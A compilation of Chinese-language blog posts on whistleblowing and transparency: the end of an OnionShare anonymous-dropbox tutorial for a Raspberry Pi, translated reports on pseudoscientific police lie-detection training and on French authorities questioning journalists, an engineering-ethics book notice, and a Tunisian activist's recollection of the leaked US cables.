这存储了所有与这个会话相关的设置，包括获得相同的Tor洋葱地址所需的密钥，在文件 anon-dropbox.session 中。

如果您退出 OnionShare 按 Ctrl-C，然后再次运行相同的命令（在终端按向上箭头，然后回车），它应该再次启动 OnionShare，URL应该是完全相同的。这一点很重要，因为如果您不得不退出 OnionShare (比如您需要拔掉树莓派的插头，然后把它插到别的地方，迫使它重新启动)，您需要能够让您的匿名保管箱用同样的地址重新运行。

您可能希望将此文件的内容复制并粘贴到密码管理器的备注栏中，或以其他方式对其进行安全备份。这样，当您把咖啡洒在树莓派上时，就可以不费吹灰之力地重新启动和运行它。

在屏幕会话中运行 OnionShare，这样您就可以关闭终端了

「图」

到目前为止，这个方法很好用，但是有一个很大的问题：当您通过SSH进入远程服务器（树莓派）并运行一个命令（onionshare-cli）时，如果您关闭终端，断开wifi连接，或者以其他方式结束SSH会话，它也会关闭 onionshare-cli。理想情况下，您会希望它总是打开的并在后台运行。

一个简单的方法是使用 screen，一个终端多路复用器（您也可以使用 tmux 或其他您喜欢的东西）。如果 OnionShare 正在树莓派上运行，用 Ctrl-C 退出它。然后从终端上安装 screen，并下载一个简单的 .screenrc 文件，这样它看起来会更漂亮一些：

```
sudo apt install -y screen wget https://
raw.githubusercontent.com/micahflee/dotfiles/
master/.screenrc
```

然后运行 screen:

```
screen
```

您应该会看到屏幕底部有一个新的条形图，黄色高亮显示为0 bash。这意味着您现在进入了一个屏幕会话。

现在再次运行 onionshare-cli。

现在继续操作，完全关闭终端窗口，并确保您仍然可以加载 OnionShare 地址。它应该可以正常加载，因为 onionshare-cli 应该仍在屏幕会话中运行。

现在让我们返回。打开一个新的终端，并通过SSH再次回到树莓派：

```
ssh ubuntu@192.168.1.46
```

进入后，重新连接 `screen`：

```
screen -x
```

您应该再次看到您的 OnionShare 匿名投递箱。

最后的一些想法

「图」

遵循本指南后，您应该有：

- 一台安装了Ubuntu Server 20. 04的树莓派。
- 能够通过SSH进入该服务器进行远程配置。
- 一个在屏幕会话中运行的OnionShare匿名投递箱。
- 能够在您的普通电脑上访问所有上传到您的匿名投递箱的文件。

恭喜！现在您已经具备了接受来自公众的吹哨文件的平台。只要让人们知道他们可以加载您的 OnionShare 地址在Tor浏览器中匿名将文件发送给您。

📌 这里有几件事要注意：

1、您可以通过在终端保持打开状态并连接屏幕会话来查看是否有人访问它，并定期检查上传的文件。

2、现在您正在运行一个服务器，定期安装更新是个好主意，这样它就不会被黑客攻击，同时也要注意 OnionShare 的更新（您可以通过运行 pip3 install—upgrade onionshare-cli 来更新 onionshare-cli）。您可能还想做其他事来加固您的服务器，比如开始使用SSH密钥而不是密码，或者设置一个防火墙。

3、您的树莓派的硬盘没有加密，这意味着如果有人可以物理访问您的树莓派，他们可以简单地拔掉 microSD卡，将其插入自己的电脑，然后复制人们上传给您的所有机密文件。最好的解决方案是在这个设置中添加磁盘加密。但另一方面，每当有人给您发送任何吹哨文件时，您可以将其下载到电脑上，然后从树莓派中删除，然后安全地清除树莓派的 **microSD** 卡上的空闲空间，这样就无法恢复了。

要安全删除空闲空间，请安装 secure-delete 包：

```
sudo apt install secure-delete
```

然后运行 sfill 来填充所有从零开始的空闲空间：

```
sudo sfill -v -l /
```

📌 警告: 接收模式可以让别人上传文件到您的电脑上。如果其中有恶意软件，它们有可能会控制您的电脑。请确保只打开来自您信任的人的东西，或者如果您知道您在做什么的话。

这个警告在 OnionShare 中的显著位置，我觉得很有必要再次指出。就像为什么指示您不要随便打开邮件附件一样，您也不应该盲目地打开从 OnionShare 中收到的文档。

📌 如果您得到一个文件，担心它可能是恶意的，这里有几个策略可以尝试:

1、如果是 office 文件，先用 Dangerzone 运行它。这个工具可以把 office 文档变成安全的PDF，这样您就可以放心了。

2、如果您不担心与第三方共享的话：

- 可以把它上传到 VirusTotal 上，让它被几十个反病毒程序扫描，这可能有助于告知您是否可以打开它。
- 也可以将某些类型的文档（包括 office文档、视频和音频文件）上传到 Google Drive，然后在网页浏览器中查看，而不是Word或VLC等程序。
- 更好的方法是，设置一个虚拟机，关闭网络，把文档复制到您的虚拟机上，然后在那里打开它。如果它是恶意的，它会试图黑入您的虚拟机而不是您的主机，如果它试图连接骇客服务器，是不会成功的，因为您的虚拟机没有联网。您可以试试 Whonix 。

好运！希望公民独立调查组织能够拥有安全可靠的吹哨平台以帮助吹哨人公开真相。〇

Running an OnionShare anonymous dropbox on a Raspberry Pi

原文

泄漏文件揭示给警察的 "测谎" 培训 - 基于伪科学 - iYouPort

透明度革命

这篇报道不仅包含解密文件，还介绍了一些警察在审讯过程中采取的诱供招术 ……

「图」

「图」

- 《Kentucky State Police training documents approvingly cited Adolf Hitler 》

该培训被称为 “最前沿”，数十名执法专业人员报名参加，向一位自称 “谎言之眼” 的人类测谎师学习 “检测欺骗的新工具”。她的真名是 Renee Ellory，她宣称自己是被科学家认定的有能力 “非常准确地” 发现欺骗行为的仅有的50人之一。

由威斯康星州高强度毒品交易区 —— 一个支持执法缉毒工作的联邦项目 —— 主办的活动传单列入了6月被 BlueLeaks 泄漏在网上的执法文件中。

宣传文案主要倾向于 Ellory 在发现他人欺骗行为方面的技能。她 “擅长识别骗子，并能当场告诉你为什么不能信任某人”，文中写道。

培训学员将学习如何 “在对方的话说出之前就识别出愤怒、蔑视和厌恶”。课程目标很广泛。包括学会区分 “真实的” 和 “虚假的情绪表现”；“识别隐藏的情绪”；识别 “人们的大脑在潜意识情况下说谎时泄露信息的方式”；“分析欺骗的肢体语言”；获得采访精神病患者时使用的技巧；“识别能揭示危险的主要表情特征！” ……

参与者来自各种警察部门，包括小警察局的局长、惩教人员、大学警察、州警、密尔沃基警察局的各种成员以及美国缓刑办公室和联邦调查局的个人。

在2015年11月进行的培训后填写的调查中，共同的抱怨是没有足够的结构化休息；正如一位参与者所说的那样，“头脑只能吸收屁股能忍受的东西”。但除此之外，82名受访者中的大多数人都对培训给予了高度评价。

学员们写道，他们会把学到的东西融入到警察工作中。其中有不少人说，他们学到的最有价值的东西是 “全世界所有人都有的七种通用面部表情，作为撒谎的良好指标”。

如此多的执法人员发现技能培训如此有价值，这似乎令人欣慰。但是，在这种情况下却并非如此。这是因为 **Ellory** 的测谎训练是基于许多心理学家所说的，如果不是十足的伪科学也是基本被否定的理论。

“这完全是假的”，道森大学心理学和法律助理教授 Jeff Kukucka 说，他研究法医确认偏差、审讯和虚假供词，“而更令人震惊的也许是 …… 这并不是什么新鲜事。我们早就知道这东西没用，但它仍然被兜售，好像它有用一样。”

BlueLeaks 泄漏的文件中包含大量向全国各地警察机构提供的培训传单。其中许多传单都在宣传传唤和审讯、测谎和侦查 “危险” 的技巧方法，比如 Ellory 的方法，这些方法建立在伪科学的基础上，并与虚假的供词和错误的定罪紧密相关 。

这些泄漏文件提供了一个窗口，让人们可以了解到各种警察训练方法是如何延续神话的 —— 主观的、基于直觉的解释人类行为的方法，这些方法是不可靠的，并且已经被主要的心理学家所否定 —— 鼓励警察在破案中使用。

旧金山大学法学院法律和心理学教授、审讯实践专家 Richard Leo 说，人们想要寻找一种万无一失的测谎方法 “这由来已久”，“寻找某种方法，能够读懂身体语言、神态、声调、手势，然后高度准确地推断出某人是否说了实话”。

他说，可惜并不存在这种方法。

他把人类测谎比作通灵能力，“这让我想起了灵媒和彩票。如果有一个通灵者，他们能看到彩票号码是什么，那就太值钱了对吧？强力球就在那里，他们为什么不能赢得四亿美元？”

在乔治·弗洛伊德被明尼阿波利斯警察杀害后，人们越来越关注警察改

革问题，专家说，这场抗议运动也应该包括改革警察传唤和审讯嫌疑人、证人和受害者的方式，以确保他们以受科学支持的最佳实践为基础。

“你看到的执法部门和少数族裔社区之间的不信任，部分源于嫌疑人、证人、受害者和家庭成员在调查过程中被对待的方式”，西北大学普利兹克法学院错误定罪中心的联合主任 Steven Drizin 说，他主要研究虚假供词。他指出，不以科学为基础的执法培训“只会进一步恶化办案人员与社区居民之间的关系”。

「图」

「图」

狗屎运

根据 BlueLeaks 泄漏文件中发现的传单，除了威斯康星州的 HIDTA 外，加州、佐治亚州、内华达州和德克萨斯州的警察机构也在推广 Ellory 的培训。

其中一张传单甚至吹嘘说，Ellory 已经在“很多美国最大的城市”进行了执法培训，包括“纽约市、洛杉矶、芝加哥、休斯敦、圣安东尼奥、华盛顿特区、亚特兰大、檀香山、拉斯维加斯、里诺、基韦斯特 ……仅举几例”。

Ellory 在给 Intercept 的一封电子邮件中说，她自2009年以来一直以“谎言之眼”的身份进行培训，估计她已经接触了2500到3000名执法人员。

问题是，她教给这些警察的东西早已被广泛否定了 —— 而 Ellory 坚决否认这一说法。Ellory 称她是被认定为50名“反欺骗专家”之一，是所谓的“Wizards Project”的一部分，该项目由与加州大学旧金山分校教授 Paul Ekman 有关的研究人员负责。

研究人员研究了数以千计的人 —— 从中情局和特勤局特工到普通人 —— 看看谁能最好地检测出与欺骗有关的行为，这种做法在很大程度上依赖于通用面部表情和所谓的微表情的概念，这种微表情仅持续几分之一秒。Ellory 的培训依赖于这两个概念的有效性。

虽然普遍表达的理论可以追溯到查尔斯·达尔文，但研究结果却参差不齐，近年来，Ellory 在这方面的工作屡屡受到科学家的质疑，认为不

可靠，部分原因是方法论问题。

虽然普遍表达的理论可以追溯到查尔斯·达尔文，但研究结果却参差不齐，近年来，Ellory 在这方面的工作屡屡受到科学家的质疑，认为不可靠，部分原因是方法论问题。

在微表情方面 —— 也是 Ekman 的研究领域 —— 随后的研究发现它们 “罕见且不具诊断性”，Kukucka 说，训练个人去观察这些细节实际上并不管用。

Kukucka 说，最终，Ekman 确定的那些被认定为所谓的特殊人类测谎者的人只是偶然的运气而已。“奇才计划” 的想法是对数千人进行测试，找出那些在测谎测试中 “异常” 高分的人。

在1.5万人中，“他们发现有50人在这方面表现很优秀。他们认为，也许从这些人的知识中，他们可以进行逆向工程 —— 好吧，这些人在做什么工作？然后用它来找出真正有效的东西。”他解释说。

“问题是，这完全是有一群人和概率如何运作的产物。如果你把15000枚硬币抛掷10次，你会得到几枚10次都是正面的硬币，但这些硬币和其他任何硬币其实没有什么不同，只是狗屎运而已。”

事实上，多年的研究已经证明，行为线索 —— 比如眨眼、手臂交叉、声音升高或降低音调 —— 根本就不是什么可靠的欺骗指标。

“很多 ‘警察科学’ 其实都是伪科学”，Drizin 说，“警察们确实相信他们能够以比你我高得多的比率从说真话的人中发现骗子。而事实恰好证明并非如此。”

研究指出，一个人发现他人欺骗的几率真的不比偶然性好多少，虽然经过训练的人对自己的结论变得更有信心，但他们的能力并没有提高。”

当警察接受了这种虚假的和误导性的训练后，他们就会变得更加自信，结果就是他们更容易出错了”，Leo 说，“就是这个循环，一个危险的循环。”

在一封邮件的交流中，Ellory 先是写道，除非记者参加她的课程，否则她没有时间向记者作出解释 —— 她的 “大师班” 目前的价格是1950美元/人 —— 但随后又指出，她现在并没有 “积极做” 课程。

在随后的一封电子邮件中，她为自己的培训辩护说，她的培训植根于

“科学”，但她写道，作为一个“罕见的专家”，她已经习惯了人们不理解这一点。

“我发现有时候我的天赋，就像在一个生活在布满色盲的世界里看到颜色一样。看到颜色是‘真实’的，但想要说服一个色盲者颜色的存在几乎是不可能的，”她写道，“我在课堂上告诉人们，我教的东西在100年后会成为常识，但在理解人类行为和欺骗方面，我们仍然处于黑暗时代 …… 在某一点上，我学会了，我不能独自改变世界。但我可以教育那些愿意学习的人，他们对我感激不尽。”

当被问及对拥有个人自由权力的执法人员进行培训，让他们使用未经科学验证的技术是否合适时，Ellory 反驳说，Ekman 的研究对她进行了“科学验证”……“我不需要指责任何人。”

她写道，“你是说，我不应该教书，因为我不能让人们像我一样拥有这种能力？这是否意味着诺贝尔奖获得者、著名的科学家和研究人员取得了伟大的成就，就不应该教别人，因为其他人可能达不到同样的成功？就像 Lance Armstrong 永远不应该当教练，因为他可以维持每分钟32次的心跳，消耗异常低的氧气，但其他人不能做到 —— 所以没用？”

“我在任何层面上都不明白这种推理”，她写道，“我对人类行为的洞察力是大多数人从未考虑过的，不理解的，当我通过示范和例子与他们分享时，会让他们的世界变得更好。我不教审讯技巧。我教人们如何寻找和发现真相。”

Kukucka 说 Ellory 的表现很奇怪，“他们在卖大力丸。我的意思是，说实话，他们在通过向不幸的人出售大力丸来赚钱，他们的影响力很大。”

请注意，Ellory 并不是 BlueLeaks 泄漏文件中发现的唯一一个向执法部门出售可疑科学的培训项目的案例。

还有一个总部位于加州的组织提供了神经语言程序学的培训，它教导说可以通过追踪眼球运动来发现欺骗 —— 请注意这一理论已经被广泛否定。

还有一套来自“潜意识交流培训学院”和“发现谎言”的课程，这两个机构的负责人是 Steven Rhoads ——前警察局长、现任治安部门调查员、退休的基督教竞技小丑。

泄露的文件显示，Rhoads 的团体在过去十年中为全国各地的执法人员提供了许多培训，包括国土安全部和移民与海关执法局的人员。

这些培训的特点是，身体语言 —— 包括 “面部手势和人类情感”、”眼球运动和凝视”、以及 “涉及躯干的姿态” —— 如何在审讯中使用，不仅揭示欺骗，还揭示了警官的危险。“作为一个非常普遍的经验法则，身体左侧比身体右侧更容易揭示已知的欺骗”，在与北加州区域情报中心有关的文件中发现，2018年一个名为 “检测危险的潜意识交流 “的培训材料中这样写道。

Leo 说，潜意识的交流训练令人不安。“我的意思是，任何事情都可以说是下意识的，所以警察可以随便编造。这不是基于任何研究的。”

而 Kukucka 认为与探测危险有关的文件特别令人不安。“我会非常担心，这些训练的背景只会加剧已经存在的隐性，特别是种族偏见”，他说。

“我们从非常高明的射击模拟研究中知道，人们已经持有一种隐性偏见，他们在射击手无寸铁的黑人时反应时间会更快。所以我想知道，从这样的训练中，他们教人们寻找的线索是否也是那些在黑人个体中被认为具有威胁性的线索，而不是在白人个体中”。

Rhoads 说，他教授审讯技巧已经有四十多年了。“我现在还是一名警察，经常使用这些东西”，他说，“我教的技术非常有效”。这包括关注行为线索 —— 包括眼球运动，比如神经语言程序设计中使用的眼球运动。拥有行为科学博士学位的 Rhoads 说，他是70年代进入眼球运动的 “原始研究者” 之一，他已经能够证明眼球运动在判断欺骗方面的准确率为 “98%”。

但他同意研究人员的说法是正确的，你不能只是进入一个审讯并立即依靠非语言线索来确定欺骗。相反，他说，你首先要为一个人建立一个 “基准线”，然后才能从对方的行为或言语中推断出欺骗行为。他说，他能做到这一点，准确率很高，通常在问了不超过20个问题之后就能做到。

- Rhoads 讲述的方法就是我们在生存技巧中介绍的方法，您可以在这里看到《如何欺骗，和如何防骗：在灾难中幸存的方法（7）》

Rhoads 驳斥了这样的观点，即 审讯者不会知道一个人生活中的事 —— 比如他们的文化规范或过去与执法部门的互动 —— 可能会影响

他们在被传唤或审讯中的行为。

他说，他建立基准线的方法与测谎仪通过测量生理反应的方法类似的。“这与测谎仪所依据的科学原理是一样的，只不过这严格地基于语言和非语言的泄漏与生理因素”。当然，测谎仪的结果在法庭上一般是不被接受的，正是因为它不可靠。

Kukucka 说，判断一个人是否具有欺骗性的方法似乎效果更好，“是那些审讯官主动成为审讯的积极参与者，并以一种能够引出诊断性的东西的方式向一个人提问。” Kukucka 说，他很想看到证明 Rhoads 所说的用他的技术达到90%以上准确率的研究，他说这只是 “比任何研究发现的都要高的天文数字”。

最后，他说，解决像 Rhoads 和 Ellory 这样的训练师和像他自己这样的研究人员之间的矛盾说法应该很容易。“如果你能做到这一点，证明它。这就是归根结底的问题；如果你能用你使用的任何技术获得98%的准确率，并且你可以向科学界证明你真的可以做到这一点。A, 人们会向你投钱 B, 我们会很乐意第一个说出 “我们错了，你是对的。”

「图」

「图」

虽然有几十份与 Ellory、Rhoads 等人进行的欺骗侦查和审讯培训有关的文件，但 Intercept 发现的关于这一主题的文件中，数量最多的是所谓 “里德技术 (Reid Technology)” 的传播者 John E.Reid 及合伙人进行的培训。

里德技术基本上是审讯方法的鼻祖，它"取代了三级"审讯，虽然它没有使用肉体折磨，但是它的方法还是有争议的，学者们一致认为它导致了假供词 —— 这是刑事司法系统中一个长期存在的问题。

根据国家赦免登记处的数据，自1989年以来的 2,654 起赦免案件中，约有12%的案件涉及假供。据 “无辜项目” 报告，在那些被错误地判定为谋杀罪、后来又被 DNA 证明无罪的人中，有62%的人供认不讳。

里德技术是有罪推定的、对抗性的，包括强调非语言行为。“它始于指控，是一场对抗”，Drizin 说，“警察已经进行了调查，在他们的脑海中，你是犯罪的人，这是毫无疑问的。审讯人员经常会在将一个人

与犯罪联系起来的证据上撒谎。”

警察会使用一些道具：举着又大又厚的档案，里面装满了纸。声称有DNA检测或其他证据。每当嫌疑人宣称自己无罪时……他们就会被打断，并被重新引导到他们有罪的想法上。”

里德审讯人员还使用“主题”，以一种使供词更有可能的方式最大限度地减少罪行 —— 提供同情，淡化罪行的严重性，或者为它提供一个借口，比如你不知道你在做什么，因为你喝醉了。这是“一个理由或借口，作为宽大处理的隐含承诺来运作”，Drizin 说，“随着时间的推移，抵抗是徒劳的信息开始变得更有分量。然后嫌疑人就会被诱导着同意认罪。”

Joseph Buckley 是 Reid and Associates 公司的总裁，对学者和律师对该技术的批评表示异议，并坚持认为它得到了科学的支持。在回答一系列电子邮件问题时，Buckley 引导记者到该公司的 YouTube 频道和他写的一篇论文，试图澄清该公司所谓的关于实践的“错误陈述”，尽管其中许多东西读起来大同小异。

考虑一下关于非语言线索的澄清。像 Rhoads 一样，Buckley 说它们不应该单独被作为欺骗的迹象，只有在整个背景中才可以使用。他举了一个例子。假设一个嫌疑人被问到是否曾经偷过他雇主的东西。是的，嫌疑人说，他“翘起二郎腿，低头看地板，掸了掸衬衫袖子”，几年前，他在他工作的五金店偷过东西。但如果直接问嫌疑人，那丢失的2500元钱是你偷的吗？他翘着二郎腿，看着地板，掸着衣袖，说：“没有，我没偷。”

“这两个受试者在反应过程中表现出相同的非语言行为”，Buckley 写道，“然而，对这些行为的解释却完全不同。”在第一个例子中，这个家伙“说的是实话，但他在透露自己之前的偷窃行为时感到尴尬，甚至可能受到了威胁”。但在第二个例子中，“言语内容……无法解释伴随而来的非言语行为，因此调查人员应该认为这些行为反映了可能的恐惧或冲突 —— 这些情绪状态不会被认为是一个真实的主体所应有的。”

2018年在德克萨斯州奥斯汀举行的为期四天的里德培训的传单中，特别谈到了教调查人员阅读行为线索的方法 ——“在非指控性询问中，说真话的人所表现出的语言和非语言行为迹象、以及隐瞒或捏造相关信息的人所表现出的行为迹象”，包括“姿势变化”、“仪态”和“眼神接触”。在第三天和第四天，培训内容包括审讯过程，“从如何发起对抗开始；拟定讯问主题；制止否认；克服反对意见”，并提出问

题，“刺激认罪”。

「图」

「图」

上面的文档在这里：*https://www.documentcloud.org/documents/7033548-Reid.html*

构建关系

虽然里德仍在市场上占据主导地位，但有令人鼓舞的迹象表明，这种情况可能正在发生变化。

2017年，当全国领先的执法培训机构之一 Wicklander-Zulawski & Associates 宣布不再教授里德技术时，相当于投下了一颗炸弹，因为存在虚假供词的风险。

“对抗不是获取真实信息的有效方式”，该机构首席执行官 Shane Sturman 告诉 Marshall Project 说。“这对我们来说是一个大动作，但这是一个已经出现了相当长一段时间的决定。越来越多的执法客户要求我们从他们的培训中删除它，基于所有的学术研究表明其他审讯方式的风险要小得多。”

虽然科学并不支持潜意识交流技巧、测谎，甚至里德技巧的功效，但有大量研究支持一种不同的方法：一种绝对非对抗性的方法，鼓励公开对话，并强调建立和睦关系。

在美国，对这种方法的支持部分来自于 “高价值被拘留者” 审讯小组的工作，这是奥巴马政府创建的联邦资助的机构间努力，作为 “推进审讯的科学和实践” 的手段，并结束布什时代对恐怖主义嫌疑人的酷刑做法。

这个被称为HIG的小组还资助研究，以发展警察审讯的科学。2016年HIG的一份报告中写道：“实证观察发现，美国警方经常采用糟糕的审讯技巧，要么减少引出的信息量，要么诱使被试者 …… 提供不正确的信息”。(HIG基本被特朗普政府放弃了)。

Wicklander-Zulawski 的合伙人兼运营副总裁 Dave Thompson 说：“加强该领域的研究，包括HIG的成果，一直是最重要的 …… 其实研究一直都在，只是没有一直被从业者所接受。我们有很多这样的

公司在教授警察的做法，不管他们是什么，但他们是在当了30年警察的资历基础上教授的。还有很多学者，他们正在进行研究，并提出了伟大的研究成果，但从来没有被实践。所以，我认为过去几年我们真正重要的革命是从业者和学术界一起工作，确保我们在实际环境中应用研究”。Thompson 说，这就是他的公司在努力摆脱他所谓的 “传统” 审讯方法。

如果研究发现有效的做法没有被纳入 “执法部门的培训内容”，Thompson 说，“那么我们就会走向错误的方向。”

在 BlueLeaks 泄漏的档案中，有一些迹象表明，较新的审讯方法可能正在渗透进来，尽管是缓慢的。文件中至少有一张来自 Savage Training Group 的传单，宣传 “一种现代的审讯嫌疑人、受害者和证人的方法，这种方法非常有效，而且符合最新的研究结果”。

该培训是由加州圣马特奥警长办公室在3月份组织的。“你可能听说过那些 ‘老派’ 的审讯技巧已经被证明会导致虚假的供词”，它写道，“你可能已经感到沮丧，认为应该有更好的方法。嗯，现在有了。” ○

THE JUNK SCIENCE COPS USE TO DECIDE YOU’RE LYING

原文

法国也加入了打击透明度革命的战争 - iYouPort

透明度革命

与职业记者合作的透明度革命似乎有点问题了。

举报人可以通过技术加以保护，可以做到始终隐藏身份；但是在职记者都是在明处的，事实显示当权者真的可以完全无视宪法和法律对新闻自由的承诺。

已经不仅美国了，现在就连曾经的新闻自由偶像—法国—也在试图杀死透明度革命。

John Young 当年不与任何职业媒体合作（当然不仅是担心记者的安全，他压根就不信任他们，关于原因可见这篇KN《守门人作为认知杀手》）。

Young 自建网站，只是纯粹地将文件扔出来，让证据自己说话 —— 就如我们在《什么是调查》中解释的那样。他一个人承担了一切风险；Young 被很多人视为激进派，主要是因为他可以完全无视现实中的路障。

这一路障就是：主流媒体占据了90%的认知市场；如果你希望具有公共利益信息迅速被大众所接收 —— 也就是说抢在当局开始打压之前实现它的价值，那么你只能与主流媒体合作……

「图」

「图」

法国新闻通讯社在处理秘密文件方面遇到了前所未有的困境，这些文件详细说明了该国参与也门暴行的惊人内幕。

结果是，法国广播电台的记者和总部位于巴黎的调查新闻机构 **Disclose** 的联合创始人被叫到对内安全总局（**DGSI**）的办公室“问

话”。就是传唤。

DGSI 的任务是打击恐怖主义、间谍活动和其他国内威胁，其功能与美国联邦调查局类似。

这两家新闻机构于4月份发布了那份报道 —— 连同发表的还有美国媒体 The Intercept 、Mediapart、ARTE Info、和 Konbini News —— 报道揭示了大量证据，证明法国、英国和美国的军事设备销往沙特和阿联酋，并随后被用于在也门杀人。

报道提供的证据十分惊人，在这里看到中文版《"血族的逻辑"》。

这些报道 —— 基于法国军事情报局的秘密文件 —— 强调了法国政府的高级官员向公众谎报法国武器在战争中的作用。

⚠这些机密文件证明了英美法参与破坏性冲突的程度，这场冲突造成了 17,900 多名平民死亡或受伤，并导致大约85,000名儿童陷入饥荒的折磨。

法国政府一直在保密这些消息不希望将该文件公之于众，当该报告成为世界各地的头条新闻时真的激怒了那些官员。

文章发布后不久，Disclose 的联合创始人 Geoffrey Livolsi 和 Mathias Destal 以及法国广播电台记者 Benoît Collombat 立刻就被 DGSI 总部传唤了。

记者们在这个地下四层的房间里被讯问了一小时，被问及他们的工作、他们的信息来源、以及他们在 **Facebook** 和 **Twitter** 上的帖子。

记者们拒绝回答问题，理由是他们有权保持沉默，并且他们提出了关于他们的新闻和他们相信发布的文件符合公众利益的声明。

自从1881年的新闻法颁布以来，新闻自由在法国已经得到了130多年的强烈保护，这使新闻记者有权保护其来源的机密性。

法律还规定了某些“新闻犯罪”，记者可能会被指控的情况 —— 例如诽谤 —— 并通过法庭实施惩罚，方法包括罚款、和极端情况下的监禁，法律概述了如何处理这些罪行的程序。

但是，国家安全问题并没有作为“新闻犯罪”被列入新闻法，而 DGSI 似乎抓住了这个漏洞，⚠指责披露消息的调查性新闻机构 Disclose 和法国电视台记者们从持有机密文件的那一刻起就“危害国家安全”了。

⚠根据2009年法国颁布的禁止“攻击国防机密”的法律，如果某人未经授权处理任何机密文件，即构成犯罪。这项法律对记者没有例外，也没有公益辩护。显然就是针对透明度革命而来的。

“他们想拿我们杀鸡，因为这是法国第一次出现像这样的泄漏，”Disclose 的联合创始人 Livolsi 说，他指的是该文件的敏感性，该文件是法国军方分析人员去年9月在 Emmanuel Macron 的高级别简报中编写的。

“他们想吓唬记者和消息来源，让他们不敢再触碰任何国家机密。”

在最糟糕的情况下，记者可能要面临长达五年的监禁和75,000欧元（约83,900美元）的罚款。

该案的下一阶段仍不清楚。有可能会移交给法官，法官可以进行进一步的调查，并可能决定将案件提交审判。

Disclose 的律师和董事会成员 Virginie Marquet 周二在 DGSI 的一次听证会上代表 Destal 出席。她希望记者不会面临牢狱之灾。

但她指出，政府似乎正在推动严厉的惩罚。

上周，武装部队部长 Florence Parly 在公开声明中暗示，披露这些文件违反了“我们国家的所有规则和法律”，并补充道：⚠“只要你披露机密文件，你就会受到处罚。”

无论结果如何，DGSI对案件的处理已经发出了这一信号 —— 要遏制透明度革命。

“有一种令人不寒而栗的效果，”Marquet 说。“这是对每个记者的警告：不要涉及这类主题，不要调查政府的秘密。”

无国界记者组织法律办公室负责人 Paul Coppin 告诉 The Intercept 他无法预测案件的结果，因为这是前所未有的。

他补充说，记者可能因处理机密文件而被处罚 —— 无论这些文件的公共利益有多高 —— 特别是考虑到，⚠政府可以轻松地将任何信息归类为机密。

“这是非常有问题的，”Coppin 说。“这揭示了记者在行使职责时本应从中受益的程序保障被严重削弱。法国本应该有一个更强大的框架来保护记者的工作。”

监督 DGSI 的法国内政部没有回应评论请求。

“They want to scare journalists and their sources away from revealing state secrets.” FRANCE TAKES UNPRECEDENTED ACTION AGAINST REPORTERS WHO PUBLISHED SECRET GOVERNMENT DOCUMENT

原文

监督权力的意识需要培养 - iYouPort

免费书和纪录片透明度革命

工程专业学生的核心课程必须包括探索工程伦理责任的课程和研讨会。了解经济和政治的压力，并在必要时了解监督举报的责任，对工程师来说是最重要的事。这就是《Ethics, Politics, and Whistleblowing in Engineering》这本书的主题（CRC 出版社），这是由 Rania Milleron 博士和 Nicholas Sakellariou 博士编辑的新书。

「图」

「图」

这本书的目标之一是让技术倾向的学生在其职业生涯的最初阶段就能意识到：最好的工程学来自应用科学和人文科学的基础。任何对专业应用道德感兴趣的人都会喜欢这本书，无论在哪个领域。

提供良好的工程工作氛围，而不是自上而下地机械性地听取指令和自我审查，可以使公司免于严重的诉讼、公众愤怒和随后的销售损失。这些损失在美国汽车业已经非常多见。

生物技术、纳米技术和人工智能产业的发展没有一个有效的法律或道德框架。因此，我们始终要依赖于来自内部的监督举报。不幸的是，许多在前线工作的工程师已经放弃了他们作为哨兵的角色。他们的长期沉默现在必须结束了。

从气候变化纠纷到军事军备竞赛，我们的公共基础设施、以及后代和我们星球的健康和安全，正面临着越来越高的风险。因此，充满道德感、勇气和警惕性的工程专业人士应该是我们的期望。

New Book about Ethics and Whistleblowing for Engineers Affects Us All!The core curriculum for engineering students must include courses and seminars that explore the ethical responsibility of engineering. Understanding economic and political pressures and, if necessary, whistleblowing obligations are all important matters for engineers.

原文

真正的阿拉伯之春 (早在小贩自焚之前) - iyouport

透明度革命

【2021年6月3日存档】多年来，人们最经常传说的是 “突尼斯街头小贩的自焚引发了阿拉伯之春的抗议浪潮”，但这不是事实的全部 ……

【按】本文来自一位突尼斯活动家对著名吹哨人切尔西·曼宁的致敬，2013年。这位突尼斯活动家亲历了推翻本·阿里政权的透明度革命。本文以第一人称陈述。

我们所说的 “阿拉伯之春” 实际上是许多看似蝴蝶效应的结果。其中最引人注目的就是一位名叫切尔西·曼宁的勇敢的吹哨人。切尔西·曼宁给了我们阿拉伯人一个秘密的大礼，帮助揭露和推翻了**50**年的独裁统治。

对我来说，这一切都开始于2010年10月中旬，来自我的一个好朋友发来的 Twitter 私信。他属于一个数字活动家的圈子，多年来我与他在阿拉伯世界的许多权利倡导项目上密切合作，从反审查战略和运动、到建立和培训非暴力抗议行动。

在那条私信中，他迫切地要求我和他就加密问题进行交谈。在一次OTR交流之后，他给我发来了一个加密的压缩文档，其中包含了大约400个文本文件，分装在大约15个文件夹中。所有文件夹都以阿拉伯国家命名、突尼斯、埃及、黎巴嫩、沙特、也门、摩洛哥、巴林等等，我不知道里面有什么。他在结束聊天会话前告诉我：“用它们做点什么吧，我相信你，相信你的知识和判断”。

13年前，我为了避免成为政治犯，不得不逃离突尼斯的家，当时我住在柏林。我在 “全球之声” 担任倡导负责人，这是一个支持国际公民独立媒体的非营利组织。这让我可以自由选择住的地方，我只需要一台笔记本电脑和一个良好的互联网连接就足够工作了。七年前，我还联合创办了**nawaat.org**，这是一个关注突尼斯集体政治的博客，在

突尼斯被本·阿里政府查封。

我带着我的笔记本电脑出门，坐在反建制和反文化社区克罗伊茨贝格的 Morena 咖啡馆的露台上。那时，我是这个星球上少数几个能接触到这套敏感数据集的人之一。

【注：柏林·克罗伊茨贝格区是学生、艺术家和许多土耳其人的家园，科特布斯门车站周围设有许多餐馆。】

我进入名为 “突尼斯“ 的文件夹，打开第一个文件，点燃一支烟，然后是第二个文件，第三个文件，还有其余的三十个文件都是与我国有关的，香烟的数量几乎和文件数量相同。

那是维基解密的美国国务院电报，广为人知的电报门，其中有耻辱的本·阿里政权的所有政治丑闻、裙带关系和腐败的证据。我没有时间去看其他阿拉伯国家的文件了。我知道我面前有一套宝贵的文件，可以转化为我们自己的反抗行动。这就是我们在过去十年中，在制定公民异议媒体、散居者媒体、流亡者媒体、数字行动主义的战略和理论化过程中所寻找的最珍贵的东西：真相和变革的能力。这就是动力。

我给 Nawaat 的同事们发了一条受密码保护的 Dropbox 压缩文件的链接，请他们阅读这些文件，并在当天晚上在 Skype 上见面。我们知道 Skype 和 Dropbox 都不安全，但我们需要分享、交谈，并计划下一步的工作。我们一直都是这样工作的，但我们知道这些泄漏文件的规模和影响会有所不同。

